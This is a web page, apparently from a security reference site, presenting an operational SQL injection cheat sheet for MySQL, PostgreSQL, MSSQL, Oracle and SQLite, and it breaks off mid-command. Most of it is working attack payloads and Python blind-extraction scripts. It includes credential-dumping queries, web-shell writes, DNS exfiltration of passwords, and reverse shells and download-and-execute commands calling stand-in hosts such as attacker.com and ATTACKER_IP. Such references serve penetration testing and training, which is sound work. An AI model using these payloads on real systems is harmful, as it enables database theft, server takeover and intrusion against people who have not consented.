ᛉ Yggdrasil

Web

SQL Injection

15 Sep 2026 · 6,851 words · 31 min

Contents

A complete operational reference for SQL Injection covering MySQL, PostgreSQL, Microsoft SQL Server (MSSQL), Oracle, and SQLite. Covers detection, UNION-based, error-based, boolean blind, time-based blind, out-of-band, stacked queries, second-order, file read/write, OS command execution, WAF bypass, SQLMap, and remediation. Mapped to MITRE ATT&CK T1190.


1. Core Concepts & SQLi Types

SQL INJECTION TAXONOMY: IN-BAND SQLi (results returned in same channel as injection)
├── UNION-Based → append extra SELECT, results shown in page
└── Error-Based → trigger DB error that leaks data in message

INFERENTIAL / BLIND SQLi (no direct output)
├── Boolean-Based → ask true/false questions, observe response diff
└── Time-Based → ask true/false questions, observe delay

OUT-OF-BAND SQLi (data sent via different channel)
└── DNS / HTTP → DB makes external request containing stolen data

SPECIAL TYPES
├── Stacked Queries → inject second SQL statement after semicolon
├── Second-Order → inject stored value, triggered by later query
└── NoSQL Injection → MongoDB / Redis (separate topic)

Key Terms: - Injection Point — parameter where user input is unsafely embedded in SQL. - Context — string / integer / identifier context changes what chars break the query. - Comment — --, #, /**/ used to truncate the rest of the original query. - RCE — Remote Code Execution — possible via xp_cmdshell (MSSQL) or COPY TO PROGRAM (PostgreSQL). - OOB — Out-of-Band — data exfiltrated via DNS lookup or HTTP request from DB server. - Stacked Queries — injecting a second statement via ; — supported by MSSQL, PostgreSQL, MySQL (sometimes). - Second-Order — payload stored in DB, triggers SQLi when read back by a later query.


2. Detection & Fingerprinting

2.1 Finding Injection Points

Common injection points:
→ GET/POST parameters: ?id=1 → ?id=1'
→ Cookie values: Cookie: session=abc → session=abc' → HTTP headers:User-Agent, Referer, X-Forwarded-For
→ JSON body parameters: {"id":"1"} →{"id":"1'"} → XML body parameters
→ Path parameters: /user/1 → /user/1'
→ Search fields
→ Login username / password fields
→ ORDER BY / sort parameters

2.2 Break & Repair Method

  • Take a valid value (e.g. search returns 23 results)

  • Append a single quote: value'
    → If response changes / errors → potential SQLi

  • Repair the broken statement with one of:

Repair Notes
' ' MySQL space concatenation
'\|\|' Oracle / PostgreSQL concatenation
'+' MSSQL concatenation
' AND '1'='1 Boolean true — should restore
' -- - Comment out rest of query
AND 1=1 Integer context — no quotes needed
AND 1=1 -- - Integer context + comment
- Confirm with:
value' AND '1'='1 → should return normal result
value' AND '1'='0 → should return empty / different result

2.3 Database Fingerprinting

Test these payloads in order — first match = database type:

Order Payload DB if True
1 AND 'foo' 'bar' = 'foobar' MySQL
2 AND DATALENGTH('foo') = 3 MSSQL
3 AND TO_HEX(1) = '1' PostgreSQL
4 AND LENGTHB('foo') = '3' Oracle
5 AND GLOB('foo*', 'foobar') = 1 SQLite
# Quick version queries after access is confirmed:
# MySQL:
' UNION SELECT @@version -- -
# MSSQL:
' UNION SELECT @@version -- -
# PostgreSQL:
' UNION SELECT version() -- -
# Oracle:
' UNION SELECT banner FROM v$version WHERE ROWNUM=1 -- -
# SQLite:
' UNION SELECT sqlite_version() -- -

3. Cross-DB Syntax Reference

3.1 Comments

DB Syntax
MySQL -- comment #comment /*comment*/
PostgreSQL -- comment /*comment*/
MSSQL -- comment /*comment*/
Oracle -- comment /*comment*/
SQLite -- comment /*comment*/

Note: -- requires a trailing space to be valid in most DBs. Use -- - as a safe habit.

3.2 String Concatenation

DB Syntax
MySQL 'foo' 'bar' or CONCAT('foo','bar')
PostgreSQL 'foo'\|\|'bar' or CONCAT('foo','bar')
MSSQL 'foo'+'bar' or CONCAT('foo','bar')
Oracle 'foo'\|\|'bar' or CONCAT('foo','bar')
SQLite 'foo'\|\|'bar' or CONCAT('foo','bar')

3.3 Substring Functions

DB Function
MySQL SUBSTRING('foobar',1,3) SUBSTR(...) MID(...)
MySQL SUBSTRING('foobar' FROM 1 FOR 3) (commaless)
PostgreSQL SUBSTRING('foobar',1,3) SUBSTR(...)
MSSQL SUBSTRING('foobar',1,3)
Oracle SUBSTR('foobar',1,3)
SQLite SUBSTRING('foobar',1,3) SUBSTR(...)

3.4 String Length

DB Function Counts
MySQL LENGTH('foo') Bytes
MySQL CHAR_LENGTH('foo') Characters
PostgreSQL LENGTH('foo') Characters
MSSQL DATALENGTH('foo') Bytes
MSSQL LEN('foo') Characters
Oracle LENGTHB('foo') Bytes
Oracle LENGTH('foo') Characters
SQLite LENGTH('foo') Characters

3.5 Char to Integer (for blind comparisons)

DB Function Output type
MySQL HEX('a') Hex (61)
PostgreSQL ASCII('a') Decimal (97)
MSSQL UNICODE('a') Decimal (97)
Oracle RAWTOHEX('a') Hex (61)
SQLite UNICODE('a') Decimal (97)

3.6 LIMIT / OFFSET

DB Syntax
MySQL LIMIT 1 / LIMIT 4,1 / LIMIT 1 OFFSET 4
PostgreSQL LIMIT 1 OFFSET 4
MSSQL ORDER BY 1 OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle ≥ 12 FETCH NEXT 1 ROWS ONLY / OFFSET 4 ROWS FETCH NEXT 1 ROWS ONLY
Oracle ≤ 11 WHERE ROWNUM = 1
SQLite LIMIT 1 OFFSET 4

3.7 Group Concatenation

DB Function
MySQL GROUP_CONCAT(col SEPARATOR ',')
PostgreSQL STRING_AGG(col, ',')
MSSQL STRING_AGG(col, ',')
Oracle LISTAGG(col, ',')
SQLite GROUP_CONCAT(col, ',')

3.8 Version / Current Database

DB Version Current DB
MySQL @@VERSION / VERSION() DATABASE()
PostgreSQL VERSION() CURRENT_DATABASE() / CURRENT_SCHEMA()
MSSQL @@VERSION DB_NAME() / SCHEMA_NAME()
Oracle SELECT BANNER FROM v$version WHERE ROWNUM=1 sys_context('USERENV','CURRENT_SCHEMA')
SQLite sqlite_version() N/A (single-file DB)

4. UNION-Based Injection

HOW IT WORKS: Append a UNION SELECT to the original query.
The results of your injected SELECT appear alongside (or instead of)
the original results if:
1. Same number of columns as original query
2. Compatible data types in each column
3. At least one column is displayed in the page output

4.1 Determine Number of Columns

-- Method 1: ORDER BY (increment until error)
' ORDER BY 1 -- -
' ORDER BY 2 -- -
' ORDER BY 3 -- -   ← error here means 2 columns
' ORDER BY 4 -- -

-- Method 2: UNION SELECT NULLs (increment until no error)
' UNION SELECT NULL -- -
' UNION SELECT NULL,NULL -- -
' UNION SELECT NULL,NULL,NULL -- -

4.2 Find Displayed Columns

-- Replace NULLs one by one with a string marker
' UNION SELECT 'a',NULL,NULL -- -
' UNION SELECT NULL,'a',NULL -- -
' UNION SELECT NULL,NULL,'a' -- -
-- Whichever 'a' appears in the page = that column is rendered

4.3 UNION Extraction Payloads

-- ── MySQL ──
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users -- -
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR ','),NULL FROM information_schema.tables WHERE table_schema=database() -- -

-- ── PostgreSQL ──
' UNION SELECT NULL,version(),NULL -- -
' UNION SELECT NULL,STRING_AGG(table_name,','),NULL FROM information_schema.tables WHERE table_schema='public' -- -

-- ── MSSQL ──
' UNION SELECT NULL,@@version,NULL -- -
' UNION SELECT NULL,name,NULL FROM master.sys.databases -- -

-- ── Oracle ──
' UNION SELECT NULL,banner,NULL FROM v$version WHERE ROWNUM=1 -- -
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE ROWNUM=1 -- -

-- ── SQLite ──
' UNION SELECT NULL,sqlite_version(),NULL -- -
' UNION SELECT NULL,tbl_name,NULL FROM sqlite_master WHERE type='table' -- -

4.4 Full UNION Workflow

Step 1: Find injectable parameter
GET /products?category=Gifts → Test: category=Gifts' → Error or behavior change: potential SQLi

Step 2: Count columns
category=Gifts' ORDER BY 3 -- - ← works
category=Gifts' ORDER BY 4 -- - ← error
∴ 3 columns

Step 3: Find displayed columns
category=Gifts' UNION SELECT 'a','b','c' -- - ∴ column 2 shows 'b' in page

Step 4: Extract data
category=Gifts' UNION SELECT NULL,version(),NULL -- - category=Gifts' UNION SELECT NULL,table_name,NULL FROM information_schema.tables LIMIT 1 -- - category=Gifts' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users' -- -
category=Gifts' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users -- -


5. Error-Based Injection

HOW IT WORKS: Craft a SQL expression that intentionally causes a DB error.
The error message includes the result of a subquery.
Works when error messages are displayed in the response.

5.1 MySQL Error-Based

-- EXTRACTVALUE — most common
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT version()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT database()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e)) -- -
' AND EXTRACTVALUE(1337,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 1),0x7e)) -- -

-- UPDATEXML
' AND UPDATEXML(1337,CONCAT(0x7e,(SELECT version()),0x7e),31337) -- -

-- GTID_SUBSET
' AND GTID_SUBSET(CONCAT(0x7e,(SELECT version()),0x7e),1337) -- -

-- EXP
' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,(SELECT version()),0x7e,'x'))x)) -- -

-- FLOOR + RAND (group by error)
' OR 1 GROUP BY CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2)) HAVING MIN(0) -- -

5.2 PostgreSQL Error-Based

-- CAST to NUMERIC
' AND 1=CAST((SELECT version()) AS INT) -- -
' AND 1337=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS NUMERIC) -- -
' AND 1337=CAST((SELECT password FROM users LIMIT 1) AS INT) -- -

-- Type conversion shorthand
' AND CAST((SELECT version()) AS INT)=1337 -- -
' AND (SELECT version())::int=1 -- -

5.3 MSSQL Error-Based

-- CONVERT type mismatch
' AND 1=CONVERT(INT,(SELECT @@version)) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 table_name FROM information_schema.tables)) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users')) -- -
' AND 1337=CONVERT(INT,(SELECT TOP 1 CONCAT(username,':',password) FROM users)) -- -

-- IN error
' AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -

5.4 Oracle Error-Based

-- UTL_INADDR (requires privilege)
' AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~') -- -

-- XMLType
' AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~'||CHR(62))) FROM DUAL) -- -

-- CTXSYS
' AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~') -- -

6. Boolean-Based Blind Injection

HOW IT WORKS: No data is returned directly.
Craft conditions that are TRUE or FALSE.
Application responds differently for TRUE vs FALSE.
Extract data one bit/character at a time by asking:
"Is the Nth character of the password > ASCII 77?"

Build a binary oracle:
→ TRUE = normal response (200 OK, content present, length X)
→ FALSE = different response (empty result, shorter length, etc.)

6.1 Confirming Boolean Injection

-- Should return TRUE (normal response):
' AND 1=1 -- -
' AND 'a'='a' -- -

-- Should return FALSE (different/empty response):
' AND 1=2 -- -
' AND 'a'='b' -- -

-- If those two responses differ → boolean injection confirmed

6.2 Boolean Error Inferential

-- Cause a DB error if condition is TRUE → error = condition is true
-- MySQL:
' AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1)) -- -

-- PostgreSQL:
' AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END) -- -

-- MSSQL:
' AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END) -- -

-- Oracle:
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual) -- -

-- SQLite:
' AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END) -- -

6.3 Data Extraction — Character by Character

-- Generic pattern: test if Nth char of result matches a value
-- Replace CONDITION with actual data query

-- MySQL:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -

-- PostgreSQL:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -

-- MSSQL:
' AND SUBSTRING((SELECT TOP 1 password FROM users WHERE username='admin'),1,1)='a' -- -
' AND UNICODE(SUBSTRING((SELECT TOP 1 password FROM users WHERE username='admin'),1,1))>77 -- -

-- Oracle:
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND RAWTOHEX(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1))>'61' -- -

-- SQLite:
' AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' -- -
' AND UNICODE(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1))>77 -- -

6.4 Boolean Extraction — Python Script

import requests

TARGET = "https://target.com/products?category="
TRUE_INDICATOR = "Gift"   # string that appears in TRUE responses

def oracle(payload):
    """Returns True if payload is TRUE"""
    r = requests.get(TARGET + f"Gifts{payload}", timeout=10)
    return TRUE_INDICATOR in r.text

def extract_string(query, max_len=50):
    result = ""
    for pos in range(1, max_len + 1):
        # Binary search for ASCII value
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            # MySQL syntax:
            payload = f"' AND ASCII(SUBSTRING(({query}),{pos},1))>{mid} -- -"
            if oracle(payload):
                lo = mid + 1
            else:
                hi = mid
        char = chr(lo) if lo != 32 else ""
        if not char:
            break
        result += char
        print(f"[+] Character {pos}: {char} → {result}")
    return result

# Extract current database name
db = extract_string("SELECT database()")
print(f"\n[+] Database: {db}")

# Extract first password
pw = extract_string("SELECT password FROM users LIMIT 1")
print(f"\n[+] Password: {pw}")

7. Time-Based Blind Injection

HOW IT WORKS: No response difference between TRUE and FALSE.
Instead: measure response time.
If condition is TRUE → DB sleeps → response is delayed.
If condition is FALSE → no sleep → response is fast.

Best practice:
→ Run each probe 3 times, use median (avoids network jitter)
→ Use threshold of 5–8 seconds to account for latency
→ Use conditional sleep (safe) not unconditional sleep

7.1 Unconditional Sleep (Confirm Only)

⚠️ May execute multiple times per row — use only to confirm, not extract.

DB Payload
MySQL ' AND SLEEP(5) -- -
PostgreSQL ' AND 'x'\|\|PG_SLEEP(5)='x' -- -
MSSQL '; WAITFOR DELAY '0:0:5' -- -
Oracle ' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 -- -
SQLite ' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000)))) -- -

7.2 Conditional Sleep (Safe — Use for Extraction)

Replace 1=1 with your actual test condition.

DB Payload
MySQL ' AND (SELECT 1337 FROM (SELECT(SLEEP(5-(IF((1=1),0,5))))) r) -- -
PostgreSQL ' AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(5)) ELSE 1337 END) -- -
MSSQL ' IF(1=1) WAITFOR DELAY '0:0:5' -- -
Oracle ' AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1337 END) -- -
SQLite ' AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000)))))) ELSE 1337 END) -- -

7.3 Stacked Time-Based (Requires Stacked Query Support)

DB Payload
MySQL ; SELECT IF((1=1),SLEEP(5),1337) -- -
PostgreSQL ; SELECT (CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 1 END) -- -
MSSQL ; IF(1=1) WAITFOR DELAY '0:0:5' -- -
Oracle ; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1337 END FROM DUAL -- -

7.4 Time-Based Extraction — Python Script

import requests, time, statistics

TARGET = "https://target.com/products?category="
SLEEP_SECONDS = 5
PROBES = 3

def time_oracle(payload, threshold=SLEEP_SECONDS * 0.8):
    """Returns True if payload causes a delay"""
    times = []
    for _ in range(PROBES):
        t0 = time.time()
        try:
            requests.get(TARGET + f"Gifts{payload}", timeout=SLEEP_SECONDS * 3)
        except:
            pass
        times.append(time.time() - t0)
    return statistics.median(times) >= threshold

def extract_string_time(query, max_len=50):
    result = ""
    for pos in range(1, max_len + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            # MySQL conditional sleep:
            payload = (
                f"' AND (SELECT 1337 FROM "
                f"(SELECT(SLEEP({SLEEP_SECONDS}-(IF("
                f"(ASCII(SUBSTRING(({query}),{pos},1))>{mid}),0,{SLEEP_SECONDS})))"
                f") r) -- -"
            )
            if time_oracle(payload):
                lo = mid + 1
            else:
                hi = mid
        char = chr(lo) if lo != 32 else ""
        if not char:
            break
        result += char
        print(f"[+] Position {pos}: {char} → {result}")
    return result

db = extract_string_time("SELECT database()")
print(f"\n[+] Database: {db}")

8. Out-of-Band (OOB) Injection

HOW IT WORKS:
The DB server makes an outbound DNS or HTTP request containing
the stolen data. Used when:
→ No in-band output visible
→ Time-based is unreliable (network jitter too high)
→ DB server has outbound network access

Tools:
→ Burp Collaborator (oastify.com)
→ interactsh (open source: https://github.com/projectdiscovery/interactsh)
→ Your own DNS server (dnscat2-server, tcpdump)

8.1 DNS Lookup (Confirm OOB)

DB Payload
MSSQL '; EXEC master..xp_dirtree '//COLLABORATOR.oastify.com/a' -- -
PostgreSQL '; COPY (SELECT '') TO PROGRAM 'nslookup COLLABORATOR.oastify.com' -- -
Oracle ' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % r SYSTEM "http://COLLABORATOR.oastify.com/"> %r;]>'),'/l') FROM dual -- -
MySQL ' UNION SELECT LOAD_FILE('\\\\COLLABORATOR.oastify.com\\a') -- - (Windows only)

8.2 DNS with Data Exfiltration

-- ── MSSQL ── (most reliable for OOB)
'; DECLARE @q VARCHAR(1024);
SET @q=(SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "//'+@q+'.COLLABORATOR.oastify.com/a"') -- -

-- One-liner MSSQL:
'; declare @p varchar(1024);set @p=(SELECT TOP 1 password FROM users);exec('master..xp_dirtree "//'+@p+'.COLLABORATOR.oastify.com/a"') -- -

-- ── Oracle ──
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ENTITY % rr SYSTEM "http://'||(SELECT password FROM users WHERE ROWNUM=1)||'.COLLABORATOR.oastify.com/"> %rr;]>'),'/l') FROM dual -- -

-- ── PostgreSQL ──
'; CREATE OR REPLACE FUNCTION f() RETURNS void AS $$
DECLARE c text; DECLARE p text;
BEGIN SELECT password INTO p FROM users LIMIT 1;
c := 'copy (SELECT '''') to program ''nslookup '||p||'.COLLABORATOR.oastify.com''';
EXECUTE c; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT f(); -- -

-- ── MySQL (via UTL_HTTP if available, Windows UNC path) ──
' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\', (SELECT password FROM users LIMIT 1), '.COLLABORATOR.oastify.com\\a')) -- -

8.3 interactsh Setup (Free Burp Collaborator Alternative)

# Install:
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start listener:
interactsh-client
# → Gives you a unique domain like: abc123.oast.fun

# Use abc123.oast.fun in your OOB payloads
# interactsh-client will print DNS/HTTP interactions received

9. Stacked Queries

WHAT THEY ARE:
Multiple SQL statements separated by a semicolon.
The second statement executes but its output is usually NOT returned.
Primarily used for: time-based blind, executing stored procs, file writes.

SUPPORT:
MSSQL → YES (most reliable)
PostgreSQL → YES (cannot be disabled)
MySQL → SOMETIMES (depends on PHP/Python API used)
Oracle → NO (does not support batched queries natively)
SQLite → YES

9.1 Stacked Query Detection

-- If this causes a 10-second delay → stacked queries work:
'; WAITFOR DELAY '0:0:10' -- -                 -- MSSQL
'; SELECT PG_SLEEP(10) -- -                    -- PostgreSQL
'; SELECT SLEEP(10) -- -                       -- MySQL
'; SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) -- -  -- SQLite

9.2 Conditional Stacked Queries

-- MSSQL — most powerful (xp_cmdshell, file writes, OOB):
'; IF(1=1) WAITFOR DELAY '0:0:5' -- -
'; IF((SELECT COUNT(*) FROM users WHERE username='admin')>0) WAITFOR DELAY '0:0:5' -- -

-- PostgreSQL:
'; SELECT (CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 1 END) -- -

-- MySQL:
'; SELECT IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0) -- -

10. Database Enumeration — All DBs

10.1 List Databases

DB Query
MySQL SELECT schema_name FROM information_schema.schemata
PostgreSQL SELECT datname FROM pg_database
PostgreSQL SELECT DISTINCT schemaname FROM pg_tables
MSSQL SELECT name FROM master.sys.databases
MSSQL SELECT name FROM master..sysdatabases
Oracle SELECT OWNER FROM (SELECT DISTINCT OWNER FROM sys.all_tables)
SQLite N/A (file-based)

10.2 List Tables

DB Query
MySQL SELECT table_name FROM information_schema.tables WHERE table_schema='dbname'
PostgreSQL SELECT tablename FROM pg_tables WHERE schemaname='public'
PostgreSQL SELECT table_name FROM information_schema.tables WHERE table_schema='public'
MSSQL SELECT table_name FROM information_schema.tables WHERE table_catalog='dbname'
MSSQL SELECT name FROM dbname..sysobjects WHERE xtype='U'
Oracle SELECT table_name FROM all_tables WHERE owner='DBNAME'
SQLite SELECT tbl_name FROM sqlite_master WHERE type='table'

10.3 List Columns

DB Query
MySQL SELECT column_name,column_type FROM information_schema.columns WHERE table_name='users' AND table_schema='dbname'
PostgreSQL SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'
MSSQL SELECT COL_NAME(OBJECT_ID('dbname.dbo.users'), 1) (increment index)
Oracle SELECT column_name,data_type FROM sys.all_tab_columns WHERE table_name='USERS'
SQLite SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='users'
SQLite SELECT name FROM pragma_table_info('users')

10.4 Extract Credentials

-- ── MySQL ──
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users -- -
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users -- -

-- ── PostgreSQL ──
' UNION SELECT NULL,username||':'||password,NULL FROM users -- -
' UNION SELECT NULL,STRING_AGG(username||':'||password,chr(10)),NULL FROM users -- -

-- ── MSSQL ──
' UNION SELECT NULL,username+':'+password,NULL FROM users -- -
' UNION SELECT NULL,(SELECT STRING_AGG(username+':'+password,',') FROM users),NULL -- -

-- ── Oracle ──
' UNION SELECT NULL,username||':'||password,NULL FROM users WHERE ROWNUM=1 -- -
' UNION SELECT NULL,LISTAGG(username||':'||password,',') WITHIN GROUP (ORDER BY 1),NULL FROM users -- -

-- ── SQLite ──
' UNION SELECT NULL,username||':'||password,NULL FROM users LIMIT 1 -- -
' UNION SELECT NULL,GROUP_CONCAT(username||':'||password,','),NULL FROM users -- -

11. File Read / Write

⚠️ Requires appropriate DB-level privileges.

11.1 Reading Files

DB Method Requirement
MySQL SELECT LOAD_FILE('/etc/passwd') FILE privilege
PostgreSQL SELECT PG_READ_FILE('/etc/passwd') Superuser
MSSQL SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS t ADMINISTER BULK OPS
Oracle utl_file.get_line(utl_file.fopen('/etc/','passwd','R'),buf) UTL_FILE privilege
SQLite SELECT readfile('/etc/passwd') readfile() extension
-- MySQL file read in UNION:
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL -- -
' UNION SELECT NULL,LOAD_FILE('/etc/shadow'),NULL -- -
' UNION SELECT NULL,LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts'),NULL -- -

-- PostgreSQL:
' UNION SELECT NULL,PG_READ_FILE('/etc/passwd'),NULL -- -
' UNION SELECT NULL,PG_READ_FILE('/home/postgres/.bash_history'),NULL -- -

-- MSSQL (stacked):
'; SELECT BulkColumn FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) r -- -

11.2 Writing Files (Web Shell)

-- ── MySQL ──
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php' -- -
' UNION SELECT NULL,'<?php system($_REQUEST["c"]); ?>',NULL INTO DUMPFILE '/var/www/html/c.php' -- -

-- Find writable web root first:
' UNION SELECT NULL,'test',NULL INTO OUTFILE '/var/www/html/test.txt' -- -

-- ── PostgreSQL ──
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' -- -

-- ── MSSQL — write via OLE automation (requires Ole Automation Procedures enabled) ──
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @fso INT, @file INT;
EXEC sp_oacreate 'Scripting.FileSystemObject', @fso OUT;
EXEC sp_oamethod @fso,'OpenTextFile',@file OUT,'C:\inetpub\wwwroot\shell.asp',8,1;
EXEC sp_oamethod @file,'WriteLine',NULL,'<%execute(request("cmd"))%>';
EXEC sp_oadestroy @file; EXEC sp_oadestroy @fso -- -

12. OS Command Execution

12.1 MSSQL — xp_cmdshell

-- Enable xp_cmdshell (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE -- -

-- Execute command:
'; EXEC xp_cmdshell 'whoami' -- -
'; EXEC xp_cmdshell 'powershell -enc <BASE64_PAYLOAD>' -- -

-- Reverse shell via xp_cmdshell:
'; EXEC xp_cmdshell 'powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"' -- -

-- Get output (store in temp table):
'; CREATE TABLE #output (data NVARCHAR(4000));
INSERT INTO #output EXEC xp_cmdshell 'whoami';
SELECT data FROM #output -- -

12.2 PostgreSQL — COPY TO PROGRAM

-- Requires superuser:
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/out.txt' -- -
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' -- -
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh|bash' -- -

-- Read command output:
'; CREATE TABLE cmd_output (data text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output -- -

12.3 Oracle — DBMS_SCHEDULER

-- Requires CREATE JOB privilege:
'; BEGIN DBMS_SCHEDULER.CREATE_JOB(
    job_name => 'RCE_JOB',
    job_type => 'EXECUTABLE',
    job_action => '/bin/bash',
    number_of_arguments => 3,
    enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('RCE_JOB',1,'-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('RCE_JOB',2,'id>/tmp/rce.txt');
DBMS_SCHEDULER.ENABLE('RCE_JOB');
END; -- -

-- Via OS_COMMAND package (if available):
' UNION SELECT os_command.exec_clob('id') FROM dual -- -

13. Authentication Bypass

13.1 Classic Auth Bypass Payloads

-- Login field payloads (Username field):
admin'--
admin'-- -
admin'#
admin'/*
' OR 1=1 -- -
' OR '1'='1
' OR '1'='1'--
admin' OR '1'='1
admin' OR 1=1 -- -
') OR ('1'='1
' OR 1=1#
" OR "1"="1
' OR 'x'='x
1' OR '1'='1
' UNION SELECT 1,1,1 -- -

-- Both username and password:
-- Username: admin'--
-- Password: anything

-- Username: ' OR 1=1 LIMIT 1 -- -
-- Password: anything

13.2 "Safe" OR-Based Payloads (Per Database)

These only return the first row, not all rows — safer for real engagements.

DB Payload
MySQL ' OR IF((NOW()=SYSDATE()),SLEEP(0),1)='0
PostgreSQL ' OR (CASE WHEN ((CLOCK_TIMESTAMP()-NOW())<'0:0:1') THEN '1' ELSE '0' END)='1
Oracle ' OR ROWNUM='1
SQLite ' OR ROWID='1

13.3 POST Body Injection

# Test login with SQLi in both fields:
curl -s -X POST https://target.com/login \
    --data "username=admin'--+-&password=anything"

curl -s -X POST https://target.com/login \
    --data "username=admin&password=' OR '1'='1"

14. Second-Order Injection

WHAT IT IS: Payload is stored in the DB without triggering injection (INSERT is safe).
The payload fires later when another query reads and uses the stored value.

Example:
1. Register username: admin'--
2. Application inserts safely: INSERT INTO users VALUES('admin'--', ...)
3. Later, password change query: UPDATE users SET pwd='x' WHERE user='admin'--'
→ The '--' comments out the rest: UPDATE users SET pwd='x' WHERE user='admin'
→ Admin's password is changed!

DETECTION:
→ Input fields that store data and are later used in queries
→ Profile update, comment sections, support tickets, order notes
→ Admin review panels that display user-supplied data

14.1 Classic Second-Order Example

Registration:
Username: admin'--
Password: hacker123

Password change (logged in as admin'--):
Old password: hacker123
New password: hacked!

Query fired:
UPDATE users SET password='hacked!' WHERE username='admin'-- ' AND password='hacker123' Becomes:
UPDATE users SET password='hacked!' WHERE username='admin' → Admin's password is now 'hacked!'

14.2 Detection Strategy

# Register with payloads in every field and look for effects later:
# Username: sleep_test' AND SLEEP(5) AND 'x'='x
# Then trigger queries that use the username

# Profile update that reflects data back:
# Enter in "First Name": test'+(SELECT 1 FROM (SELECT SLEEP(5))a)+'
# Then view profile — if delay occurs when viewing, SQLi in read path

# SQLMap second-order:
sqlmap -u "https://target.com/update_profile" \
